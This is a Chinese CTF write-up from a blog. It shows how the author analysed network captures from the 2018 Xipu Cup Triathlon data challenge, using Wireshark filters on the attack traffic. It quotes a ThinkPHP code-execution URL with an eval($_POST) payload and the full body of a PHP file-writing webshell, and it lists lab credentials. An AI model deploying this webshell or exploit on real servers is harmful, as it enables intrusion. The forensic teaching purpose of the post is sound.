美文网首页CTF我爱编程
【CTF-MISC】2018西普杯铁人三项数据赛

【CTF-MISC】2018西普杯铁人三项数据赛

作者: Kirin_say | 来源:发表于2018-05-24 17:19 被阅读342次

    上周参加了西普杯铁人三项
    大致记录一下数据赛流量分析的过程

    0x01 基本信息

    • 攻击者IP

    首先Wireshark分析第一个数据包:
    可以看到数据太多:
    先http协议过滤一下,以便了解大致过程
    很多无用的正常包
    很显然看到202.1.1.2192.168.1.99的请求有些异常
    直接进行过滤:

    http and ip.addr==202.1.1.2
    or
    http and ip.src==202.1.1.2
    
    HTTP
    很显然攻击者利用thinkPHP框架下的任意代码执行漏洞
    攻击者:
    IP:202.1.1.2

    0x02 Webshell相关

    • 服务器拿到的webshell的网址
    • 网站根目录的绝对路径
    • 攻击者上传的第一个文件名称是什么

    服务器拿到的webshell的网址

    从上面的攻击者的代码执行过程可以看到服务器拿到webshell的网址:

    http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}
    

    网站根目录的绝对路径

    接下来看一下攻击者执行的代码,base64解码后,发现其查询了phpinfo并写入了webshell:
    追踪http流提取出phpinfo(保存成html文件后打开即可):

    图片.png
    即可在phpinfo中即可看到网站根目录:
    /var/www/html/easytalk

    攻击者上传的第一个文件

    追踪后面的http流并解码base64即可看到:
    上传的第一个文件:scan.php
    同时,可以看到其写入的webshell:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
    
    其中有3个不同z1的值(写入了3个文件):
    z1:/var/www/html/easytalk/scan.php
    z1:/var/www/html/easytalk/tunnel.php
    z1:/var/www/html/easytalk/tunnel.nosocket.php
    

    分别从数据包中提取出z2以十六进制保存文件即可看到写入文件的具体信息,但好像比赛过程只用到了前面的scan.php:


    scan.php

    0x03 服务器信息

    • 对方1.99服务器的cms种类及版本号
    • 1.99服务器的主机名
    • 扫描内网端口的端口范围

    1.99的cms信息:

    过滤:

    http and ip.addr==192.168.1.99
    

    查找返回信息中与其cms相关的信息:
    其实从上面的写入的文件路径可以看出应该是easytalk
    直接在过滤后搜索分组字节流的字符串就可以找到:
    最后在第二个数据包中找到了答案:


    easytalk

    主机名:

    因为上面提取过phpinfo,打开即有主机名信息:

    phpinfo
    主机名:simplefight1

    端口扫描范围:

    从scan.php的内容可以看出攻击者利用上传的scan.php来进行扫描
    直接搜索列表信息字符串scan.php
    追踪http流即可看到扫描端口范围(其实有两个,当时没仔细分析,毕竟有五次作答机会,最多两次就试出来了):


    1
    2

    0x03 FTP相关

    • 服务器2.88的ftp服务账号密码
    • 黑客成功登陆ftp的时间
    • 攻击者通过ftp协议下载的敏感文件及路径

    ftp服务账号密码以及黑客成功登陆ftp的时间

    在第二个数据包中
    过滤ftp协议,发现攻击者不断尝试登陆建立ftp连接:

    ftp
    找到第一次成功建立连接的地方:
    success
    看到这里的用户名及密码:administrator/123456
    并在数据包中看到其成功登录的时间:
    time
    攻击者成功登陆时间:14:07:15

    攻击者通过ftp协议下载的敏感文件及路径

    接下来直接过滤ftp协议即可看到攻击者不断猜解路径
    并且最后找到:
    /phpStudy/WWW/config/config_db.php

    0x04 数据库相关

    • 服务器2.88中用户名为admin_zz的web后台管理员的密码
    • 服务器上数据库的用户名密码
    • 攻击者查看的一些表的信息以及其设置的genreal log的绝对路径

    admin_zz管理员的密码

    (这题与数据库无关,只是按顺序夹在ftp和数据库之间,不知道往哪里放)
    过滤:

    http && ip.addr == 192.168.1.99 
    

    在分组详情中查找:admin_zz
    在第三个数据包中发现:

    admin_zz
    admin_zz的密码为:1q2w3e4r

    数据库的用户名密码

    下面查看config_db.php的内容:
    过滤协议:

    ftp-data
    

    在其中一个流量包中发现了config_db.php:
    查看数据库配置配置信息:

    config_db.php
    可以看到数据库的用户名和密码:
    localhost/S1mp13zz
    其实也可以通过第四个数据包过滤mysql协议通过查看query语句找到相关信息,不过这里的密码是加密过的,无法获取信息:
    mysql

    攻击者查看的一些表的信息以及其设置的genreal log的绝对路径

    这些信息询问的数据库、表以及设置genreal log的绝对路径等信息可以直接从过滤mysql后的这些数据包中的sql查询语句中得到,不再细说

    0x05 路由器相关

    • 路由器的品牌、型号、版本
    • 路由器的所有IP地址
    • 路由器的端口监控中的监控端口和被监控端口
    • 路由器接口个数以及WAN口和LAN口个数
    • 路由器的系统路由表的条数以及第三条的子网掩码
    • 路由器的5Gwif名称和信道

    路由器的品牌、型号、版本

    过滤一下本地局域网(路由器常用界面):

    http && ip.addr == 192.168.0.1
    

    在第一个数据包中看到了答案:

    路由器
    可以看到路由器及其版本号为:TL-WAR1300L v1.0

    路由器的所有IP地址

    猜测接下来攻击者会获取路由信息
    所以追踪后面的几条http流
    发现几条数据:

    {
        "id": 1,
        "result": {
            "normal": [{
                "py_isup": false,
                "ipaddr": "",
                "t_type": "ethernet",
                "t_isup": "disconnect",
                "t_name": "WAN1",
                "t_linktype": "dhcp"
            },{
                "py_isup": false,
                "ipaddr": "",
                "t_type": "ethernet",
                "t_isup": "disconnect",
                "t_name": "WAN2",
                "t_linktype": "dhcp"
            },{
                "py_isup": false,
                "ipaddr": "",
                "dhcp_status": "on",
                "t_type": "ethernet",
                "t_name": "LAN1",
                "t_isup": "disconnect",
                "t_linktype": "static"
            }, {
                "py_isup": false,
                "ipaddr": "",
                "dhcp_status": "on",
                "t_type": "ethernet",
                "t_name": "LAN2",
                "t_isup": "disconnect",
                "t_linktype": "static"
            }, {
                "py_isup": false,
                "ipaddr": "",
                "dhcp_status": "on",
                "t_type": "ethernet",
                "t_name": "LAN3",
                "t_isup": "disconnect",
                "t_linktype": "static"
            }]
        },
        "error_code": "0"
    }
    

    可以看到这里有5个端口,WAN1,WAN2,LAN1,LAN2,LAN3都是关闭状态
    继续追踪http流:
    发现:

    {
    "id":1,
    "result":{
        "normal":[
            {
                "py_isup":true,
                "ipaddr":"202.1.1.1",
                "t_type":"ethernet",
                "t_isup":"connect",
                "t_name":"WAN1",
                "t_linktype":"static" 
        },
            {
                "py_isup":true,
                "ipaddr":"192.168.12.173",
                "t_type":"ethernet",
                "t_isup":"internet",
                "t_name":"WAN2",
                "t_linktype":"dhcp" 
        },
            {
                "py_isup":true,
                "ipaddr":"192.168.0.1",
                "dhcp_status":"on",
                "t_type":"ethernet",
                "t_name":"LAN1",
                "t_isup":"connect",
                "t_linktype":"static" 
        },
            {
                "py_isup":true,
                "ipaddr":"192.168.0.1",
                "dhcp_status":"on",
                "t_type":"ethernet",
                "t_name":"LAN2",
                "t_isup":"connect",
                "t_linktype":"static" 
        },
            {
                "py_isup":false,
                "ipaddr":"192.168.0.1",
                "dhcp_status":"on",
                "t_type":"ethernet",
                "t_name":"LAN3",
                "t_isup":"disconnect",
                "t_linktype":"static" 
        } 
    ] 
    },
    "error_code":"0" 
    }
    

    这里就是路由器所有IP地址:
    192.168.0.1,192.168.12.173,202.1.1.1

    路由器的端口监控中的监控端口和被监控端口

    过滤

    http contains "port" && ip.addr == 192.168.0.1
    

    发现一条记录:

    port
    不太懂这个数据,不过从json数据的英文可以看出:
    应该是3号端口监控1,2端口

    路由器接口个数以及WAN口和LAN口个数:

    从上面第二次追踪的数据中可以看出,路由器最终有5个接口,并且开启了WAN1,WAN2,LAN1,LAN2
    所以共有5个接口,其中2个WAN启用,两个LAN启用

    路由器的系统路由表的条数以及第三条的子网掩码:

    过滤协议:

    ip.addr == 192.168.0.1 && http 
    

    而后在分组详情中中查找"gateway"
    或者直接过滤:

    http contains "gateway" && ip.addr==192.168.0.1
    

    查找后看到一条数据:

    gateway
    很显然:
    一共5条数据,且第三条的子网掩码为:255.255.252.0

    路由器的5Gwif名称和信道:

    直接查找与信道相关的http流
    与查找"gateway"方法相同
    分组详情查找"5G"(区分大小写),或者"channel"(信道)
    在查找"5G"时发现:

    5G
    可以看到:5Gwif名称为test-ge1,信道为:36

    0x06 END

    最后总成绩不错,决赛加油吧
    附上比赛数据包:

    https://drive.google.com/open?id=15GEJRUFv8WdxFCIvuuuOMAp8no8X7gjt
    

    相关文章

      网友评论

        本文标题:【CTF-MISC】2018西普杯铁人三项数据赛

        本文链接:https://www.haomeiwen.com/subject/rayydftx.html